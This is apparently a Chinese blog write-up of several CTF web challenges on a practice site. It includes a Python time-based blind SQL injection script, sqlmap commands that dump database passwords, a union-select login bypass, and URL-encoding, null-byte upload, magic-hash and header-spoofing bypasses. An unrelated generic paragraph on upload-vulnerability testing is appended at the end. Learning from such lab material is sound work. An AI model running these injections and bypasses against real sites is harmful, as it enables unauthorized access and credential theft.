实验吧部分题wp

看起来有点难

这道题有点坑,打开页面去试下登录,发现输入admin/admin会报登录失败,错误的用户名和密码,其他的就说数据库没有连上,一开始真的以为没有连上..............

然后后面看了下别人的评论,题目没错,那就可能是除了admin其他都是定义好了跳出来数据库没连上

http://ctf5.shiyanbar.com/basic/inject/index.php?username=admin' and sleep(10) and ''='&pass=&action=login

然后看见是有延时的,也就是说是可以时间盲注

然后脚本贴一波

#-*-coding:utf-8-*-
import requests
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'

flag = ""
key = 0
print("start")
for i in range(1,50):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()  #记录当前时间
        headers ={           #header头信息
            "Host": "ctf5.shiyanbar.com",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Encoding": "gzip, deflate",
            "Accept-lanuage": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Connection": "keep-alive",
            "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1526381912,1526540869,1527213157,1527225613; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*131924%2CnickName%3AXi4or0uji; Hm_lpvt_34d6f7353ab0915a4c582e4516dffbc3=1527238356; source=1",

        }
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)  #数据库
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 10:
            flag += payload
            print("pwd is:%s"%flag)
            break
        else:
            if payload == '*':
                key = 1
                break
    print('[Finally] current pwd is %s '%flag)

然后跑出来的结果是这样的

到了这里,拿admin和idnuenna登录就行了

这道题还可以sqlmap一波,不过很慢很慢...............

爆数据库

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs

爆表

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test --tables

爆字段

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin --columns

爆密码

sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" -D test -T admin -C password --dump

最后登录拿flag

程序逻辑问题

进去调试看见有个index.txt,访问试一下

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

题目说的很清楚,读代码去找漏洞就是了

上面的sql语句看见user是可以进行注入的,然后后面又要查询查来的东西的里面pw的md5值是不是跟输入的密码的md5值相同,如果相同就出flag,然后到了这里就可以构造payload了

user=1' and 0=1 union select md5(1)#
pass=1

解释一波

这里的username前面and0=1可以让前面的查询不成功,然后后面再给一个值,那样的话就会返回一个md5(1)的值了,password再输入一个1,刚好就可以绕过出flag了

php大法

这道题进去就叫你看index.php.txt,然后有段源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

然后题目大概意思是要输入一个id,他的值不能是heckerDJ,但是urldecode后要是hackerDJ,看起来很矛盾,但是我们发现,浏览器传输过程是会对url进行解码的,所以我们就可以进行二次加密,构造payload

shell?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

上传绕过

先发一张图片,然后就

那我传个php行了吧

妙啊................

这个是考了0x00截断

路径uploads/a.php+1.1.jpg如果将+的十六进制改成00,那么会认为路径已经截断了,后面的值1.1.jpg就会覆盖到前面的值,所以这样就可以绕过了

用repeater改一下加号改成00

然后go就有flag了

这里文件上传漏洞找到一篇挺好的博客

https://blog.csdn.net/wy_97/article/details/76549761

忘记密码了

这个题目真的要很细心...........发送邮件然后就看到

有个弹窗给个路径,访问下路径说没有定义然后跳回step1

但是可以看见后台是用vim写的,找下备份文件,最后在http://ctf5.shiyanbar.com/10/upload/.submit.php.swp找

所以submit的认证就是前面是管理员的邮箱地址,后面加个token,token的要求是值为0同时长度为10,这里用个科学计数法就可以绕过了,但是管理员邮箱鬼知道它是什么啊........................

后面看见前面已经给了admin@simplexue.com

然后payload都出来了

http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0e00000000

这里注意的是提交到submit.php,就第二张抓包的图里说了

貌似有点难

这题巨简单好吧.........

题目给了源码

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
	$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
	$cip = $_SERVER["REMOTE_ADDR"];
else
	$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

其实就是改下ip就行了,用火狐改个代理flag就出来了

头有点大

这题提示巨明显

也是火狐改下代理,浏览器是ie,net framework是.NET CLR 9.9,最后语言是en-gb

发送getflag

有道云笔记是一款文件管理和云存储平台,用户可以将各种文件上传至云端进行保存和管理。针对有道云笔记的渗透测试的文件上传核,主要是测试目标是否存在文件上传漏洞。 文件上传漏洞是指攻击者通过上传恶意文件或者利用上传功能绕过限制,成功在目标服务器上执行任意代码或者获取未授权的访问权限。攻击者可通过上传特定类型的文件,利用后台执行逻辑漏洞或者文件解析漏洞,从而实现对目标系统的攻击或控制。 针对有道云笔记的文件上传漏洞,常见的测试方法包括: 1. 尝试上传各种类型的文件:测试能否上传系统可执行文件、脚本文件或者危险的文件类型。 2. 绕过后台验证:尝试修改请求报文、绕过文件类型检查、篡改上传文件路径等,测试服务器是否能正确地执行上传操作的检查。 3. 文件解析漏洞测试:测试上传的文件是否能够被服务器直接解析,并且触发对应的解析漏洞。 4. 文件重命名与遍历:测试能否修改上传文件的文件名,并尝试通过../等目录遍历操作访问到其他敏感文件。 针对发现的漏洞和问,需要将测试结果整理成详细的渗透测试报告,包括漏洞描述、危害程度评估和修复建议等。然后与有道云笔记的开发团队和管理员进行沟通,提供测试结果和修复建议,并跟踪漏洞修复进展。 及时发现和修复文件上传漏洞,对于保护用户数据和防止潜在的攻击十分重要。因此,有道云笔记应该充分重视渗透测试的文件上传核,加强安全意识和漏洞修复的流程,确保用户数据的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值